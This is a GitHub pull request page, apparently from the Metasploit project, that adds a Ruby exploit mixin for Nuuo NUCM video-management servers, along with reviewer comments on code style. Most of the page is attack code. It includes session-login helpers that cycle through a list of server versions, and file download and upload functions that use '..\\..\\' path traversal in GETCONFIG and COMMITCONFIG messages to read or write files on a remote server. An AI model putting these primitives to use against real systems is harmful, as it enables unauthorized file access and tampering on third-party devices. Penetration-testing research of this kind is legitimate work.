Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add new mixin for Nuuo models #11289

Merged
merged 13 commits into from
Feb 20, 2019
1 change: 1 addition & 0 deletions lib/msf/core/exploit/mixins.rb
Original file line number Diff line number Diff line change
Expand Up @@ -125,3 +125,4 @@

# Other
require 'msf/core/exploit/windows_constants'
require 'msf/core/exploit/remote/nuuo'
237 changes: 237 additions & 0 deletions lib/msf/core/exploit/remote/nuuo.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,237 @@
require 'msf/core/exploit/tcp'

###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak Nuuo NUCM protocol for their devices and management software.
#
###
module Msf
module Exploit::Remote::Nuuo
include Exploit::Remote::Tcp

#
# Creates an instance of an Nuuo exploit module.
#
def initialize(info = {})
super(update_info(info,
'Author' =>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I see your evil plan there :-)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

:) I'm not planning to dig deeper (for the moment), but pointing it out to whoever wants to look into it...

[
'Pedro Ribeiro <pedrib@gmail.com>'
],
))

register_options(
[
Opt::RHOST,
Opt::RPORT(5180),
OptString.new('SESSION', [false, 'Session number of logged in user']),
OptString.new('USERNAME', [true, 'Username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user']),
], Msf::Exploit::Remote::Nuuo)

register_advanced_options(
[
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
])

@nucs_session = nil

# All NUCS versions at time of release
# Note that these primitives are not guaranteed to work in all versions
# Add new version strings here
# We need these to login;
# when requesting a USERLOGIN we need to send the same version as the server...
@nucs_versions =
[
"1.3.1",
"1.3.3",
"1.5.0",
"1.5.2",
"1.6.0",
"1.7.0",
"2.1.0",
"2.3.0",
"2.3.1",
"2.3.2",
"2.4.0",
"2.5.0",
"2.6.0",
"2.7.0",
"2.8.0",
"2.9.0",
"2.10.0",
"2.11.0",
"3.0.0",
"3.1.0",
"3.2.0",
"3.3.0",
"3.4.0",
"3.5.0"
]

@nucs_version = nil
end


##
# Sends a protocol message aynchronously - fire and forget
##
def nucs_send_msg_async(msg)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
# socket cannot be closed, it causes exploits to fail...
#sock.close
rescue
return
end
end

##
# Sends a protocol message synchronously - sends and returns the result
##
def nucs_send_msg(msg)
pedrib marked this conversation as resolved.
Show resolved Hide resolved
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
data = sock.recv(4096)
if data =~ /Content-Length:([0-9]+)/
data_sz = $1.to_i
more_data = ''
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
more_data << new_data
recv += new_data.length
end
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [data, more_data]
rescue
return ["",""]
end
end

##
# Sends a protocol data message synchronously - sends and returns the result
# A data message is composed of two parts: first the message length and protocol headers,
# then the actual data.
##
def nucs_send_data_msg(msg, data)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
sock.write(data)
data = sock.recv(4096)
if data =~ /Content-Length:([0-9]+)/
pedrib marked this conversation as resolved.
Show resolved Hide resolved
data_sz = $1.to_i
more_data = ''
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
more_data << new_data
recv += new_data.length
end
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [data, more_data]
rescue
return ["",""]
end
end

##
# Downloads a file from the CMS install root.
# Add the ZIP extraction and decryption routine once support for it is added to msf.
##
def nucs_download_file(filename, decrypt = false)
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
data[1]
end


##
# Uploads a file to the CMS install root.
##
def nucs_upload_file(filename, file_data)
data = nucs_send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
if data[0] =~ /200/
bcoles marked this conversation as resolved.
Show resolved Hide resolved
true
else
false
end
end

def nucs_login
if datastore['SESSION'] != nil
# since we're logged in, we don't need to guess the version any more
@nucs_session = datastore['SESSION']
elsif datastore['PASSWORD'] != nil
@nucs_versions.shuffle.each do |version|
@nucs_version = version
data = login_password
if data == nil
bcoles marked this conversation as resolved.
Show resolved Hide resolved
next
else
@nucs_session = data
break
end
end
else
@nucs_versions.shuffle.each do |version|
@nucs_version = version
data = login_nopass
if data == nil
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This conditional block:

        if data == nil
          next
        else
          @nucs_session = data
          break
        end

Might be cleaner using a guard clause:

        next if data.nil?
        @nucs_session = data
        break

It's slightly easier to read, especially given that this block is already deeply buried in spaghetti.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Easier to read? I think exactly the opposite, your proposal is much more convoluted and less expressive. However if that's what you want I will make the change...

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's a suggestion. You're welcome to ignore it.

As a common code pattern, it's easy to read for readers familiar with Ruby.

Once familiar with right-hand conditionals, and their typical use case (guard clauses), this pattern is easier to read than nested conditionals. In this instance, the conditional is already nested two levels deep.

Part of the reason I find the existing implementation subjectively unnecessarily hard to read is due to code duplication.

Consider:

  def nucs_login
    if datastore['SESSION'] != nil
      # since we're logged in, we don't need to guess the version any more
      @nucs_session = datastore['SESSION']
      return
    end

    @nucs_versions.shuffle.each do |version|
      @nucs_version = version

      if datastore['PASSWORD'].nil?
        data = login_nopass
      else
        data = login_password
      end

      if data.nil?
        next
      else
        @nucs_session = data
        return # or break if you'd prefer
      end
    end
  end

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bcoles I will implement your suggestions even if I don't agree with them 100%, it's your show anyway. I just don't like to make a lot of changes as I'm paranoid with QA, and this means I will have to retest all the exploits against a variety of target versions to ensure nothing gets broken.

I'll make all the required changes, submit again and wait for your feedback. Once you are happy with the results (for all the modules), I will just test all changes at once.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's not my show. My suggestions are suggestions. I'm primarily concerned with complexity for maintainability purposes.

Looking at the login logic, it could be boiled down even further, as the login_nopass and login_password methods are very similar, both private, and only ever invoked once.

I could be missing something, but I don't see the need for two methods. Perhaps it would be a good idea to merge both private login methods into a single private login method and move the if datastore['PASSWORD'] conditional there?

next
else
@nucs_session = data
break
end
end
end
end

private
def login_nopass
pedrib marked this conversation as resolved.
Show resolved Hide resolved
data = nucs_send_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \
"Password-Length: 0", "TimeZone-Length: 0"])
if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
bcoles marked this conversation as resolved.
Show resolved Hide resolved
return $1
else
return nil
end
end

def login_password
pedrib marked this conversation as resolved.
Show resolved Hide resolved
data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \
"Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD'])
if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
return $1
else
return nil
end
end

##
# Formats the message we want to send into the correct protocol format
##
def format_msg(msg)
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
for line in msg[1..msg.length-1]
pedrib marked this conversation as resolved.
Show resolved Hide resolved
final_msg = final_msg + line + "\r\n"
pedrib marked this conversation as resolved.
Show resolved Hide resolved
end
if not final_msg =~ /USERLOGIN/
final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n"
pedrib marked this conversation as resolved.
Show resolved Hide resolved
end
return final_msg + "\r\n"
end

end

end